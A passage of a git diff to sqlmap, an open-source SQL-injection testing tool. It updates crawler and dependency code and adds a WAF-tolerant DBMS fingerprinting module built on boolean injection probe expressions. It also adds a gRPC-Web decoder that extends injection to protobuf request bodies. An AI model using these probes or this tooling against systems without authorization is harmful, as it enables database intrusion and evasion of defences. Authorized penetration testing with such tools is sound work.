"will use partial list" - logger.warn(warnMsg) + logger.warning(warnMsg) finally: clearConsoleLine(True) + threadData.crawlRedirectFilter = None if not threadData.shared.value: - warnMsg = "no usable links found (with GET parameters)" - logger.warn(warnMsg) + if not (conf.forms and threadData.shared.formsFound): + warnMsg = "no usable links found (with GET parameters)" + if conf.forms: + warnMsg += " or forms" + logger.warning(warnMsg) else: for url in threadData.shared.value: - kb.targets.add((url, None, None, None, None)) + kb.targets.add((urldecode(url, kb.pageEncoding), None, None, None, None)) + + if kb.targets: + if kb.normalizeCrawlingChoice is None: + message = "do you want to normalize " + message += "crawling results [Y/n] " - storeResultsToFile(kb.targets) + kb.normalizeCrawlingChoice = readInput(message, default='Y', boolean=True) + + if kb.normalizeCrawlingChoice: + kb.targets = normalizeCrawlingResults(kb.targets) + + storeResultsToFile(kb.targets) + +def normalizeCrawlingResults(targets): + """ + Collapses crawled targets that differ only in their parameter values (e.g. ?id=1 vs ?id=2), + keeping one representative per distinct endpoint+parameter-name shape + + >>> sorted(_[0] for _ in normalizeCrawlingResults([("http://h/users/edit?id=1", None, None, None, None), ("http://h/users/edit?id=2", None, None, None, None), ("http://h/products/edit?id=1", None, None, None, None)])) + ['http://h/products/edit?id=1', 'http://h/users/edit?id=1'] + """ + + seen = set() + results = OrderedSet() + + for target in targets: + value = "%s%s%s" % (target[0], '&' if '?' in target[0] else '?', target[2] or "") + # Note: key on the full path (not just the last segment) so distinct endpoints sharing an + # action name and parameters (e.g. /users/edit?id= vs /products/edit?id=) are not collapsed + match = re.search(r"\A[^?]+\?.+\Z", value) + if match: + key = re.sub(r"=[^=&]*", "=", match.group(0)).strip("&?") + if '=' in key and key not in seen: + results.add(target) + seen.add(key) + + return results def storeResultsToFile(results): if not results: @@ -187,17 +515,17 @@ def storeResultsToFile(results): if kb.storeCrawlingChoice is None: message = "do you want to store crawling results to a temporary file " message += "for eventual further processing with other tools [y/N] " - test = readInput(message, default="N") - kb.storeCrawlingChoice = test[0] in ("y", "Y") + + kb.storeCrawlingChoice = readInput(message, default='N', boolean=True) if kb.storeCrawlingChoice: - handle, filename = tempfile.mkstemp(prefix="sqlmapcrawling-", suffix=".csv" if conf.forms else ".txt") + handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CRAWLER, suffix=".csv" if conf.forms else ".txt") os.close(handle) infoMsg = "writing crawling results to a temporary file '%s' " % filename logger.info(infoMsg) - with openFile(filename, "w+b") as f: + with openFile(filename, "w+") as f: if conf.forms: f.write("URL,POST\n") diff --git a/lib/utils/dbwire.py b/lib/utils/dbwire.py new file mode 100644 index 00000000000..ce81a0fb20e --- /dev/null +++ b/lib/utils/dbwire.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import importlib +import logging + +import extra.dbwire + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Adapter exposing sqlmap's connector interface over a dependency-free 'extra/dbwire' pure-python + wire-protocol client. Used for '-d' when neither a native driver nor SQLAlchemy is available. + """ + + def __init__(self, module): + GenericConnector.__init__(self) + self._driver = importlib.import_module("extra.dbwire.%s" % module) + + def connect(self): + self.initConnection() + + try: + self.connector = self._driver.connect(host=self.hostname, port=self.port, user=self.user, password=self.password, database=self.db, connect_timeout=conf.timeout) + except extra.dbwire.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except extra.dbwire.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except extra.dbwire.Error as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/lib/utils/deps.py b/lib/utils/deps.py index efca6e1c3f8..9bca3617c8c 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ from lib.core.data import logger @@ -19,36 +19,52 @@ def checkDependencies(): try: if dbmsName in (DBMS.MSSQL, DBMS.SYBASE): - import _mssql - import pymssql + __import__("_mssql") + pymssql = __import__("pymssql") if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2": warnMsg = "'%s' third-party library must be " % data[1] warnMsg += "version >= 1.0.2 to work properly. " - warnMsg += "Download from %s" % data[2] - logger.warn(warnMsg) + warnMsg += "Download from '%s'" % data[2] + logger.warning(warnMsg) elif dbmsName == DBMS.MYSQL: - import pymysql - elif dbmsName == DBMS.PGSQL: - import psycopg2 + __import__("pymysql") + elif dbmsName in (DBMS.PGSQL, DBMS.CRATEDB): + __import__("psycopg2") elif dbmsName == DBMS.ORACLE: - import cx_Oracle + __import__("oracledb") elif dbmsName == DBMS.SQLITE: - import sqlite3 + __import__("sqlite3") elif dbmsName == DBMS.ACCESS: - import pyodbc + __import__("pyodbc") elif dbmsName == DBMS.FIREBIRD: - import kinterbasdb + __import__("firebirdsql") elif dbmsName == DBMS.DB2: - import ibm_db_dbi - elif dbmsName == DBMS.HSQLDB: - import jaydebeapi - import jpype - except ImportError: + __import__("ibm_db_dbi") + elif dbmsName in (DBMS.HSQLDB, DBMS.CACHE): + __import__("jaydebeapi") + __import__("jpype") + elif dbmsName == DBMS.INFORMIX: + __import__("ibm_db_dbi") + elif dbmsName == DBMS.MONETDB: + __import__("pymonetdb") + elif dbmsName == DBMS.DERBY: + __import__("drda") + elif dbmsName == DBMS.VERTICA: + __import__("vertica_python") + elif dbmsName == DBMS.PRESTO: + __import__("prestodb") + elif dbmsName == DBMS.MIMERSQL: + __import__("mimerpy") + elif dbmsName == DBMS.CUBRID: + __import__("CUBRIDdb") + elif dbmsName == DBMS.CLICKHOUSE: + __import__("clickhouse_connect") + except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " - warnMsg += "%s. Download from %s" % (dbmsName, data[2]) - logger.warn(warnMsg) + warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2]) + logger.warning(warnMsg) missing_libraries.add(data[1]) continue @@ -57,41 +73,39 @@ def checkDependencies(): logger.debug(debugMsg) try: - import impacket + __import__("impacket") debugMsg = "'python-impacket' third-party library is found" logger.debug(debugMsg) except ImportError: warnMsg = "sqlmap requires 'python-impacket' third-party library for " warnMsg += "out-of-band takeover feature. Download from " - warnMsg += "http://code.google.com/p/impacket/" - logger.warn(warnMsg) + warnMsg += "'https://github.com/coresecurity/impacket'" + logger.warning(warnMsg) missing_libraries.add('python-impacket') try: - import ntlm - debugMsg = "'python-ntlm' third-party library is found" + __import__("tkinter") + debugMsg = "'tkinter' library is found" logger.debug(debugMsg) except ImportError: - warnMsg = "sqlmap requires 'python-ntlm' third-party library " - warnMsg += "if you plan to attack a web application behind NTLM " - warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/" - logger.warn(warnMsg) - missing_libraries.add('python-ntlm') + warnMsg = "sqlmap requires 'tkinter' library " + warnMsg += "if you plan to run a GUI" + logger.warning(warnMsg) + missing_libraries.add('tkinter') try: - from websocket import ABNF - debugMsg = "'python websocket-client' library is found" + __import__("tkinter.ttk") + debugMsg = "'tkinter.ttk' library is found" logger.debug(debugMsg) except ImportError: - warnMsg = "sqlmap requires 'websocket-client' third-party library " - warnMsg += "if you plan to attack a web application using WebSocket. " - warnMsg += "Download from https://pypi.python.org/pypi/websocket-client/" - logger.warn(warnMsg) - missing_libraries.add('websocket-client') + warnMsg = "sqlmap requires 'tkinter.ttk' library " + warnMsg += "if you plan to run a GUI" + logger.warning(warnMsg) + missing_libraries.add('tkinter.ttk') if IS_WIN: try: - import pyreadline + __import__("pyreadline") debugMsg = "'python-pyreadline' third-party library is found" logger.debug(debugMsg) except ImportError: @@ -99,11 +113,10 @@ def checkDependencies(): warnMsg += "be able to take advantage of the sqlmap TAB " warnMsg += "completion and history support features in the SQL " warnMsg += "shell and OS shell. Download from " - warnMsg += "http://ipython.scipy.org/moin/PyReadline/Intro" - logger.warn(warnMsg) + warnMsg += "'https://pypi.org/project/pyreadline/'" + logger.warning(warnMsg) missing_libraries.add('python-pyreadline') if len(missing_libraries) == 0: infoMsg = "all dependencies are installed" logger.info(infoMsg) - diff --git a/lib/utils/dialect.py b/lib/utils/dialect.py new file mode 100644 index 00000000000..b76fcf058f2 --- /dev/null +++ b/lib/utils/dialect.py @@ -0,0 +1,166 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import popValue +from lib.core.common import pushValue +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.settings import SINGLE_QUOTE_MARKER +from lib.request.inject import checkBooleanExpression + +# Operator/typing-dialect probes for a WAF-tolerant back-end DBMS heuristic, complementing +# heuristicCheckDbms() for when a WAF/IPS drops its SELECT/quote payloads. Each probe is fed to +# checkBooleanExpression() (appended as ... AND (<probe>)); all but catplus use only non-alphanumeric +# operators (WAF-friendly). Minimal set giving a collision-free signature to the classes below. +DIALECT_PROBES = ( + ("pow", "2^3=8"), # '^' is exponentiation + ("intdiv", "5/2=2"), # integer division + ("mod", "5%2=1"), # '%' modulo operator + ("bitor", "2|0=2"), # '|' bitwise-OR operator + ("xeq", "1^=2"), # '^=' not-equal operator + ("bslash", "5\\2=2"), # '\' integer division + ("catplus", "%sa%s+%sb%s=%sab%s" % ((SINGLE_QUOTE_MARKER,) * 6)), # '+' concatenates strings + ("numcat", "1||1=11"), # '||' concatenates with numeric coercion +) + +# Trust gate: a syntactically-invalid trailing-operator expression a real back-end can only read as +# FALSE. A noise/false-positive channel reads it TRUE, proving the oracle is untrustworthy -> None. +DIALECT_CANARY = "2+" + +# Reachability canaries for adversarial WAFs that selectively drop operator characters. A dropped probe +# reads FALSE, indistinguishable from a semantic FALSE, silently degrading the signature. Each canary +# embeds probe characters inside a string literal (semantically inert), so it is universally TRUE unless +# the WAF filters a character. The combined form is a fast path; on failure the per-char forms (via +# _reachCanary) locate the blocked bits, which _classify() then treats as unknown/wildcard. +_DIALECT_REACH_CHARS = (("^", (0, 4)), ("/", (1,)), ("%", (2,)), ("|", (3, 7)), ("\\", (5,)), ("+", (6,))) +_DIALECT_REACH_BODY = "a^b/c%d|e\\f+g" +DIALECT_REACH_CANARY = "%s%s%s=%s%s%s" % (SINGLE_QUOTE_MARKER, _DIALECT_REACH_BODY, SINGLE_QUOTE_MARKER, SINGLE_QUOTE_MARKER, _DIALECT_REACH_BODY, SINGLE_QUOTE_MARKER) + +# Exact operator-dialect signature -> back-end DBMS (strict whitelist). Any signature not listed - an +# unmeasured engine/version or a noise channel - returns None, so the heuristic never wrong-foots a scan. +# All rows are live-measured except Spanner (documentation-derived, tagged inline). +_SIGNATURE_DBMS = { + # pow intdiv mod bitor xeq bslash catplus numcat + (False, False, False, False, False, False, False, True): DBMS.INFORMIX, # Informix + (False, False, False, False, False, True, False, True): DBMS.CACHE, # InterSystems IRIS/Cache ('\' int-div) + (False, False, False, False, True, False, False, True): DBMS.ORACLE, # Oracle ('^=' not-equal) + (False, False, False, True, False, False, False, False): DBMS.SPANNER, # Google Cloud Spanner (only '|' works) - doc-derived, not live-tested + (False, False, True, False, False, False, False, True): DBMS.CLICKHOUSE, # ClickHouse (no bitwise-OR) + (False, False, True, True, False, False, True, True): DBMS.MYSQL, # MySQL / MariaDB / TiDB + (False, True, False, False, False, False, False, False): DBMS.DERBY, # Apache Derby + (False, True, False, False, False, False, True, False): DBMS.HSQLDB, # HSQLDB ('+' concat) + (False, True, False, False, True, False, False, True): DBMS.FIREBIRD, # Firebird ('^=') + (False, True, True, False, False, False, False, False): DBMS.PRESTO, # Presto / Trino + (False, True, True, False, False, False, False, True): DBMS.H2, # H2 + (False, True, True, True, False, False, False, False): DBMS.SQLITE, # SQLite + (False, True, True, True, False, False, False, True): DBMS.MONETDB, # MonetDB + (False, True, True, True, False, False, True, False): DBMS.MSSQL, # Microsoft SQL Server (2019 AND 2022) + (False, True, True, True, False, False, True, True): DBMS.CUBRID, # CUBRID (like MonetDB but '+' concat) + (False, True, True, True, True, False, False, True): DBMS.DB2, # IBM DB2 ('^=', no '<<'/'\') + (True, False, False, False, False, True, True, False): DBMS.ACCESS, # Microsoft Access (ACE/JET: '^' exp + '\' int-div + '+' concat) + (True, False, True, True, False, False, False, False): DBMS.PGSQL, # PostgreSQL + (True, False, True, True, False, False, False, True): DBMS.VERTICA, # Vertica (pg-derived but numeric '||') + (True, False, True, True, True, False, False, True): DBMS.PGSQL, # openGauss (Oracle-compat '^=') + (True, True, True, True, False, False, False, False): DBMS.PGSQL, # PostgreSQL / CrateDB variant + (True, True, True, True, False, False, False, True): DBMS.PGSQL, # PostgreSQL variant +} + +def _classify(signature, unknown=()): + """ + Maps an exact 8-bit operator/typing signature to a back-end DBMS via the strict whitelist, or None + when the signature is not a known fingerprint (unmeasured engine, or a noise/false-positive channel). + + 'unknown' holds bit indices whose probe character a WAF is dropping (so their FALSE is meaningless); + they are treated as wildcards and a DBMS is named only when the remaining trusted bits are unanimous, + which cannot misclassify (the true signature is always among the candidates). + + >>> _classify((False, False, True, True, False, False, True, True), unknown={2}) # MySQL, mod blocked -> still unique + 'MySQL' + >>> _classify((False, True, True, False, False, False, False, True), unknown={7}) is None # H2 vs Presto ambiguous -> None + True + >>> _classify((False, False, True, True, False, False, True, True)) # MySQL / MariaDB / TiDB + 'MySQL' + >>> _classify((False, True, True, True, False, False, True, False)) # Microsoft SQL Server (2019 and 2022) + 'Microsoft SQL Server' + >>> _classify((False, True, True, True, False, False, False, True)) # MonetDB + 'MonetDB' + >>> _classify((True, True, True, True, False, False, False, False)) # PostgreSQL / CrateDB + 'PostgreSQL' + >>> _classify((False, True, True, True, False, False, False, False)) # SQLite + 'SQLite' + >>> _classify((False, False, True, False, False, False, False, True)) # ClickHouse + 'ClickHouse' + >>> _classify((False, False, False, False, True, False, False, True)) # Oracle ('^=') + 'Oracle' + >>> _classify((False, False, False, False, False, True, False, True)) # InterSystems IRIS/Cache (Oracle but no '^=') + 'InterSystems Cache' + >>> _classify((False, True, False, False, True, False, False, True)) # Firebird + 'Firebird' + >>> _classify((False, True, False, False, False, False, False, False)) # Apache Derby + 'Apache Derby' + >>> _classify((True, False, False, False, False, True, True, False)) # Microsoft Access ('^' exp + '\' int-div) + 'Microsoft Access' + >>> _classify((False, False, False, True, False, False, False, False)) # Google Cloud Spanner (doc-derived: only '|' bitwise-OR) + 'Spanner' + >>> _classify((True, True, True, True, True, True, True, True)) is None # unmeasured / noise -> None + True + """ + + signature = tuple(bool(_) for _ in signature) + + if not unknown: + return _SIGNATURE_DBMS.get(signature) + + unknown = set(unknown) + candidates = set(dbms for sig, dbms in _SIGNATURE_DBMS.items() if all(sig[i] == signature[i] for i in range(len(signature)) if i not in unknown)) + + return next(iter(candidates)) if len(candidates) == 1 else None + +def _reachCanary(char): + lit = "%sx%sx%s" % (SINGLE_QUOTE_MARKER, char, SINGLE_QUOTE_MARKER) + return "%s=%s" % (lit, lit) + +def dialectCheckDbms(injection): + """ + Keyword-free back-end DBMS heuristic via operator-dialect differentials, evaluated through the given + (boolean-capable) injection. Complements heuristicCheckDbms() (whose SELECT/quote payloads a WAF/IPS + may drop). Returns the DBMS name, or None for an ambiguous, WAF-blocked or false-positive channel. + """ + + retVal = None + + if conf.skipHeuristics: + return retVal + + pushValue(kb.injection) + kb.injection = injection + + try: + # trust gate: a real oracle reads the tautology TRUE, the contradiction FALSE, the invalid + # canary FALSE. A noise channel reads them alike (canary TRUE) -> skip rather than guess. + if checkBooleanExpression("2=2") and not checkBooleanExpression("2=3") and not checkBooleanExpression(DIALECT_CANARY): + signature = tuple(bool(checkBooleanExpression(expr)) for _, expr in DIALECT_PROBES) + + # detect WAF-dropped probe characters (a dropped probe reads FALSE); mark their bits unknown + unknown = set() + if not checkBooleanExpression(DIALECT_REACH_CANARY): + for char, bits in _DIALECT_REACH_CHARS: + if not checkBooleanExpression(_reachCanary(char)): + unknown.update(bits) + + retVal = _classify(signature, unknown) + finally: + kb.injection = popValue() + + if retVal and not Backend.getIdentifiedDbms(): + infoMsg = "heuristic (dialect) test shows that the back-end DBMS could be '%s'" % retVal + logger.info(infoMsg) + + return retVal diff --git a/lib/utils/getch.py b/lib/utils/getch.py index af9a56160f0..00c92f87368 100644 --- a/lib/utils/getch.py +++ b/lib/utils/getch.py @@ -1,8 +1,8 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ class _Getch(object): @@ -16,16 +16,15 @@ def __init__(self): except ImportError: try: self.impl = _GetchMacCarbon() - except(AttributeError, ImportError): + except (AttributeError, ImportError): self.impl = _GetchUnix() def __call__(self): return self.impl() - class _GetchUnix(object): def __init__(self): - import tty + __import__("tty") def __call__(self): import sys @@ -41,16 +40,14 @@ def __call__(self): termios.tcsetattr(fd, termios.TCSADRAIN, old_settings) return ch - class _GetchWindows(object): def __init__(self): - import msvcrt + __import__("msvcrt") def __call__(self): import msvcrt return msvcrt.getch() - class _GetchMacCarbon(object): """ A function which returns the current ASCII key that is down; @@ -60,10 +57,12 @@ class _GetchMacCarbon(object): """ def __init__(self): import Carbon - Carbon.Evt # see if it has this (in Unix, it doesn't) + + getattr(Carbon, "Evt") # see if it has this (in Unix, it doesn't) def __call__(self): import Carbon + if Carbon.Evt.EventAvail(0x0008)[0] == 0: # 0x0008 is the keyDownMask return '' else: @@ -79,6 +78,4 @@ def __call__(self): (what, msg, when, where, mod) = Carbon.Evt.GetNextEvent(0x0008)[1] return chr(msg & 0x000000FF) - getch = _Getch() - diff --git a/lib/utils/google.py b/lib/utils/google.py deleted file mode 100644 index e3227897221..00000000000 --- a/lib/utils/google.py +++ /dev/null @@ -1,183 +0,0 @@ -#!/usr/bin/env python - -""" -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission -""" - -import cookielib -import httplib -import re -import socket -import urllib -import urllib2 - -from lib.core.common import getSafeExString -from lib.core.common import getUnicode -from lib.core.common import readInput -from lib.core.common import urlencode -from lib.core.data import conf -from lib.core.data import logger -from lib.core.enums import CUSTOM_LOGGING -from lib.core.enums import HTTP_HEADER -from lib.core.exception import SqlmapConnectionException -from lib.core.exception import SqlmapGenericException -from lib.core.exception import SqlmapUserQuitException -from lib.core.settings import DUMMY_SEARCH_USER_AGENT -from lib.core.settings import DUCKDUCKGO_REGEX -from lib.core.settings import DISCONNECT_SEARCH_REGEX -from lib.core.settings import GOOGLE_REGEX -from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE -from lib.core.settings import UNICODE_ENCODING -from lib.request.basic import decodePage -from lib.request.httpshandler import HTTPSHandler -from thirdparty.socks import socks - - -class Google(object): - """ - This class defines methods used to perform Google dorking (command - line option '-g <google dork>') - """ - - def __init__(self, handlers): - self._cj = cookielib.CookieJar() - - handlers.append(urllib2.HTTPCookieProcessor(self._cj)) - handlers.append(HTTPSHandler()) - - self.opener = urllib2.build_opener(*handlers) - self.opener.addheaders = conf.httpHeaders - - try: - conn = self.opener.open("https://www.google.com/ncr") - conn.info() # retrieve session cookie - except Exception, ex: - errMsg = "unable to connect to Google ('%s')" % getSafeExString(ex) - raise SqlmapConnectionException(errMsg) - - def search(self, dork): - """ - This method performs the effective search on Google providing - the google dork and the Google session cookie - """ - - gpage = conf.googlePage if conf.googlePage > 1 else 1 - logger.info("using Google result page #%d" % gpage) - - if not dork: - return None - - url = "https://www.google.com/search?" - url += "q=%s&" % urlencode(dork, convall=True) - url += "num=100&hl=en&complete=0&safe=off&filter=0&btnG=Search" - url += "&start=%d" % ((gpage - 1) * 100) - - try: - conn = self.opener.open(url) - - requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str - logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) - - page = conn.read() - code = conn.code - status = conn.msg - responseHeaders = conn.info() - page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) - - responseMsg = "HTTP response (%s - %d):\n" % (status, code) - - if conf.verbose <= 4: - responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) - elif conf.verbose > 4: - responseMsg += "%s\n%s\n" % (responseHeaders, page) - - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - except urllib2.HTTPError, e: - try: - page = e.read() - except Exception, ex: - warnMsg = "problem occurred while trying to get " - warnMsg += "an error page information (%s)" % getSafeExString(ex) - logger.critical(warnMsg) - return None - except (urllib2.URLError, httplib.error, socket.error, socket.timeout, socks.ProxyError): - errMsg = "unable to connect to Google" - raise SqlmapConnectionException(errMsg) - - retVal = [urllib.unquote(match.group(1)) for match in re.finditer(GOOGLE_REGEX, page, re.I | re.S)] - - if not retVal and "detected unusual traffic" in page: - warnMsg = "Google has detected 'unusual' traffic from " - warnMsg += "used IP address disabling further searches" - raise SqlmapGenericException(warnMsg) - - if not retVal: - message = "no usable links found. What do you want to do?" - message += "\n[1] (re)try with DuckDuckGo (default)" - message += "\n[2] (re)try with Disconnect Search" - message += "\n[3] quit" - choice = readInput(message, default="1").strip().upper() - - if choice == "Q": - raise SqlmapUserQuitException - elif choice == "2": - url = "https://search.disconnect.me/searchTerms/search?" - url += "start=nav&option=Web" - url += "&query=%s" % urlencode(dork, convall=True) - url += "&ses=Google&location_option=US" - url += "&nextDDG=%s" % urlencode("/search?q=&num=100&hl=en&start=%d&sa=N" % ((gpage - 1) * 10), convall=True) - url += "&sa=N&showIcons=false&filterIcons=none&js_enabled=1" - regex = DISCONNECT_SEARCH_REGEX - else: - url = "https://duckduckgo.com/d.js?" - url += "q=%s&p=%d&s=100" % (urlencode(dork, convall=True), gpage) - regex = DUCKDUCKGO_REGEX - - if not conf.randomAgent: - self.opener.addheaders = [_ for _ in self.opener.addheaders if _[0].lower() != HTTP_HEADER.USER_AGENT.lower()] - self.opener.addheaders.append((HTTP_HEADER.USER_AGENT, DUMMY_SEARCH_USER_AGENT)) - - self.opener.addheaders = [_ for _ in self.opener.addheaders if _[0].lower() != HTTP_HEADER.ACCEPT_ENCODING.lower()] - self.opener.addheaders.append((HTTP_HEADER.ACCEPT_ENCODING, HTTP_ACCEPT_ENCODING_HEADER_VALUE)) - - try: - conn = self.opener.open(url) - - requestMsg = "HTTP request:\nGET %s" % url - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str - logger.log(CUSTOM_LOGGING.TRAFFIC_OUT, requestMsg) - - page = conn.read() - code = conn.code - status = conn.msg - responseHeaders = conn.info() - page = decodePage(page, responseHeaders.get("Content-Encoding"), responseHeaders.get("Content-Type")) - - responseMsg = "HTTP response (%s - %d):\n" % (status, code) - - if conf.verbose <= 4: - responseMsg += getUnicode(responseHeaders, UNICODE_ENCODING) - elif conf.verbose > 4: - responseMsg += "%s\n%s\n" % (responseHeaders, page) - - logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - except urllib2.HTTPError, e: - try: - page = e.read() - except socket.timeout: - warnMsg = "connection timed out while trying " - warnMsg += "to get error page information (%d)" % e.code - logger.critical(warnMsg) - return None - except: - errMsg = "unable to connect" - raise SqlmapConnectionException(errMsg) - - retVal = [urllib.unquote(match.group(1)) for match in re.finditer(regex, page, re.I | re.S)] - - return retVal - -def setHTTPProxy(): # Cross-linked function - raise NotImplementedError diff --git a/lib/utils/grpcweb.py b/lib/utils/grpcweb.py new file mode 100644 index 00000000000..f1a319c18b0 --- /dev/null +++ b/lib/utils/grpcweb.py @@ -0,0 +1,297 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import re +import struct + +from lib.core.data import conf +from lib.core.data import kb +from lib.core.enums import HTTP_HEADER +from thirdparty.six.moves.urllib.parse import unquote + +# gRPC-Web body support (grpc-web-text / base64, unary only). A gRPC-Web message is a length-prefixed +# protobuf frame; grpc-web-text is that frame base64-encoded. Because protobuf is length-prefixed and +# sqlmap injects by appending, the body is decoded to a JSON view of its (heuristically-detected) string +# fields so the existing JSON injection engine handles marking/placement, then re-encoded with corrected +# length prefixes at send time (see connect.py). NOT supported (deliberately not detected, never +# corrupted): binary application/grpc-web+proto, compression (grpc-encoding), and streaming. + +CONTENT_TYPE = "application/grpc-web-text" +CONTENT_TYPE_PROTO = "application/grpc-web-text+proto" # equivalent spelling (message format hint) +_MAX_VARINT_BYTES = 10 # a 64-bit varint is at most 10 bytes +_MAX_FIELD_NUMBER = 0x1fffffff # protobuf maximum field number (2**29 - 1) +_BASE64_QUANTUM_REGEX = re.compile(r"\A(?:[A-Za-z0-9+/]{4}|[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)\Z") + +def _b64decode(text): + # strict, py2/py3-safe (no 'validate=' kwarg): reject whitespace/invalid chars, but decode per 4-char + # quantum so INDEPENDENTLY-padded base64 chunks (allowed even for a unary text response) reconstruct + # correctly - a mid-stream padded quantum is fine, arbitrary mid-stream padding chars are not + if isinstance(text, bytes): + text = text.decode("ascii") + if len(text) % 4 != 0: + raise ValueError("invalid base64 length") + out = bytearray() + for offset in range(0, len(text), 4): + quantum = text[offset:offset + 4] + if not _BASE64_QUANTUM_REGEX.match(quantum): + raise ValueError("invalid base64") + out += base64.b64decode(quantum) + return bytes(out) + +def _readVarint(buf, pos): + shift = result = 0 + start = pos + while True: + if pos >= len(buf): + raise ValueError("truncated varint") + b = buf[pos] if isinstance(buf[pos], int) else ord(buf[pos]) + pos += 1 + result |= (b & 0x7f) << shift + if not (b & 0x80): + if result >= (1 << 64): + raise ValueError("varint exceeds 64 bits") + return result, pos + shift += 7 + if pos - start >= _MAX_VARINT_BYTES: + raise ValueError("overlong varint") + +def _writeVarint(n): + out = bytearray() + while True: + b = n & 0x7f + n >>= 7 + out.append(b | 0x80 if n else b) + if not n: + return bytes(out) + +def _readExact(buf, pos, length): + end = pos + length + if length < 0 or end > len(buf): + raise ValueError("truncated protobuf field") + return buf[pos:end], end + +def _decode(buf): + buf = bytes(buf) + pos = 0 + out = [] + while pos < len(buf): + tag, pos = _readVarint(buf, pos) + fn, wt = tag >> 3, tag & 7 + if fn == 0 or fn > _MAX_FIELD_NUMBER: + raise ValueError("invalid field number %d" % fn) + if wt == 0: + val, pos = _readVarint(buf, pos) + elif wt == 1: + val, pos = _readExact(buf, pos, 8) + elif wt == 2: + ln, pos = _readVarint(buf, pos) + val, pos = _readExact(buf, pos, ln) + elif wt == 5: + val, pos = _readExact(buf, pos, 4) + else: + raise ValueError("unsupported wire type %d" % wt) + out.append([fn, wt, val]) + return out + +def _encode(fields): + out = bytearray() + for fn, wt, val in fields: + out += _writeVarint((fn << 3) | wt) + if wt == 0: + out += _writeVarint(val) + elif wt == 2: + val = val if isinstance(val, bytes) else bytes(val) + out += _writeVarint(len(val)) + val + else: + out += val if isinstance(val, bytes) else bytes(val) + return bytes(out) + +def _frame(msg): + return b"\x00" + struct.pack(">I", len(msg)) + msg + +def _unframe(data): + # strict: exactly one uncompressed data frame (flag 0x00), nothing trailing (unary; no + # compression/streaming/reserved flag bits) + if len(data) < 5: + raise ValueError("truncated gRPC-Web frame") + flag = data[0] if isinstance(data[0], int) else ord(data[0]) + if flag != 0x00: + raise ValueError("unsupported request frame flags 0x%02x" % flag) + length = struct.unpack(">I", data[1:5])[0] + if len(data) != 5 + length: + raise ValueError("incomplete/oversized gRPC-Web frame") + return data[5:5 + length] + +def _isTextContentType(value): + return (value or "").split(";", 1)[0].strip().lower() in (CONTENT_TYPE, CONTENT_TYPE_PROTO) + +def acceptsTextContentType(value): + # True if a (possibly comma-separated) Accept header already negotiates a grpc-web-text response + return any(_isTextContentType(_) for _ in (value or "").split(",")) + +def _stringFields(fields): + # Descriptorless: wire type 2 is string / bytes / embedded-message / packed - indistinguishable + # without the .proto. Offer every printable-UTF-8 length-delimited field as a candidate; do NOT try + # to exclude values that merely also parse as protobuf (ordinary strings like "A12345678"/"M1234" do, + # so excluding them silently drops real injection points). Non-selected fields stay in the skeleton + # untouched, so a mis-picked embedded message just fails to inject and is skipped - the safe failure. + retVal = [] + for index, (fn, wt, val) in enumerate(fields): + if wt != 2: + continue + try: + value = bytes(val).decode("utf-8") + except Exception: + continue + if all(char in "\t\n" or ord(char) > 31 for char in value): + retVal.append((index, fn, value)) + return retVal + +def _requestContentType(): + for header, value in (conf.httpHeaders or []): + if header.lower() == HTTP_HEADER.CONTENT_TYPE.lower(): + return value + return "" + +def _headerValue(headers, key): + if not headers: + return None + key = key.lower() + try: + items = headers.items() + except AttributeError: + items = headers + for header, value in items: + if header.lower() == key: + return value + return None + +def decodeBody(data): + """ + Probe 'data' for a gRPC-Web (grpc-web-text) body WITHOUT any side effects. Returns a + (jsonView, skeleton) tuple - the JSON string of injectable string fields plus the message skeleton + to re-encode with - or (None, None). The caller commits the skeleton to kb.grpcWeb only on 